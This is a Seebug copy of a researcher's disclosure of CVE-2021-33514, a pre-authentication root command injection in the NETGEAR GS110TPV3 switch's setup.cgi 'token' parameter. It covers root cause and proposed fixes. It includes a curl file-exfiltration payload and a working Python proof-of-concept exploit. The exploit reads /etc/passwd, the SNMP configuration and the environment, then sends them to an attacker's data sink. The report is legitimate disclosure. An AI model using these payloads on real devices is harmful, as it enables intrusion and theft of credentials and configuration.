Lucene search

K
seebugKnownsecSSV:99303
HistoryJul 15, 2021 - 12:00 a.m.

NETGEAR GS110TPV3未认证命令注入漏洞(CVE-2021-33514)

2021-07-1500:00:00
Knownsec
www.seebug.org
140

*** Summary:
Affected Model: NETGEAR GS110TPV3 Smart Managed Pro Switch
Firmware Version: V7.0.5.2 (from 2021-01-11)

NETGEAR GS110TPV3 Smart Managed Pro Switch is vulnerable to a pre-auth shell
injection due to incorrect input handling in setup.cgi query parameters.
This allows an attacker in the same LAN to run arbitrary commands as root on
the switch.

Attached PoC will execute the given commands as root and send the result to a
provided open TCP port (technically as an HTTP packet).

This report also points out two buffer overflows, though they are believed to be
not directly exploitable.

IMPORTANT: This vulnerability is reported under the 90-day policy, i.e. this
report will be shared publicly with the defensive community on 17th May 2021.
See https://www.google.com/about/appsecurity/ for details.

NOTE: At this point in time I haven't checked what other models are affected,
but I strongly suspect that at least several other NETGEAR devices use the same
code.


*** More details:

The /sqfs/home/web/cgi/setup.cgi file parses the QUERY_STRING and extracts
the "token" parameter. This parameter is passed to sal_sys_ssoReturnToken_chk
function for verification.

  result = sal_sys_ssoReturnToken_chk(token_param, 0);

This function is implemented in /sqfs/lib/libsal.so.0.0. The important part of
looks like this:

  sprintf(
    command, "echo '%s'| base64 -d |openssl rsautl -decrypt ...", token, ...
  );
  popen(command, ...);

While the "token" parameter is partially URL-encoded at this point, there is
just enough characters to break out of the single quote enclosure to inject
another command, e.g.:

  .../setup.cgi?token=';$HTTP_USER_AGENT;'

with the User-Agent set to e.g.:

  curl -T /etc/snmp/snmpd.conf http://sink.address/

Note that while browsers encode single quotes as %27, the lighttpd variant used
on this switch does not.

A different way of exploitation, allowing for more complex scripts to be sent to
and executed on the switch is shown in the PoC exploit.

While there might be ways to exploit this vulnerability in a reflected way from
outside of the LAN by making an HTML/JavaScript website which causes an in-LAN
browser to send an exploitation payload to e.g. the default, guessed or
brute-forced in-LAN switch address, I was not able to make this work in the
short time I spent on this due to - as mentioned before - browsers encoding
single quotes as %27, rendering the single quote termination impossible. I'm
still not ready to rule out the possibility of this being exploitable in a
reflective outside of LAN way in combination with some other vulnerability or
quirk.


*** Proposed fix:

Given the observed quality of the code (e.g. note the buffer overflow when
forming the command with sprintf, or the fact that instead of using openssl
libraries directly, all observed code concatenates commands and executes openssl
out of process) it would be advised to do a thorough re-write of most of the
firmware in accordance to best security practices - anything less is just a band
aid applied to a colander.

An immediate fix however is to validate the input format, both in setup.cgi
(note the buffer overflow in setup.cgi when copying "token" or "error_code"
parameters by the way) and libsal.so, i.e. the "token" is expected to be base64
encoded, therefore it's enough to verify that the input contains only base64
allowed characters.
Furthermore, it would be better to pass the data via pipe to base64 -d, instead
of concatenating strings. Or at least add a size check to prevent the buffer
overflow in printf (libsal.so) and memcpy (setup.cgi) - in this case please note
that using snprintf is not enough, as it will just create an attacker controlled
string truncation problem, which might lead to other vulnerabilities in the
sal_sys_ssoReturnToken_chk function.

Please let me know if you have any questions.


*** PoC Exploit:
#!/usr/bin/python3
import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import sys
import base64

# Address of the switch.
SWITCH_ADDR = '11.22.33.44'  # <------------------------------------ CHANGE THIS

# Address of any open TCP port to receive data (e.g. nc -v -l -p 7788).
DATA_SINK = 'http://33.44.55.66:7788/'  # <------------------------- CHANGE THIS

# Commands to run.  # <----------------------------- FEEL FREE TO CUSTOMIZE THIS
COMMANDS_TO_RUN = f"""
cat /etc/passwd > /var/tmp/x
cat /etc/snmp/snmpd.conf >> /var/tmp/x
export >> /var/tmp/x
curl -T /var/tmp/x {DATA_SINK}
"""

# Encode it a bit so that all characters work like in a bash script.
COMMANDS_TO_RUN += "\nexit\n"
COMMANDS_TO_RUN = base64.b64encode(COMMANDS_TO_RUN.encode()).decode()
COMMANDS_TO_RUN = 'sh -c echo${IFS}%s|base64${IFS}-d|sh' % COMMANDS_TO_RUN

# Send the request.
print("Sending request. This script will not exit until sink closes.")
r = requests.post(
    f"https://{SWITCH_ADDR}/cgi/setup.cgi?token=';$(cat);'",
    verify=False,
    data=COMMANDS_TO_RUN
)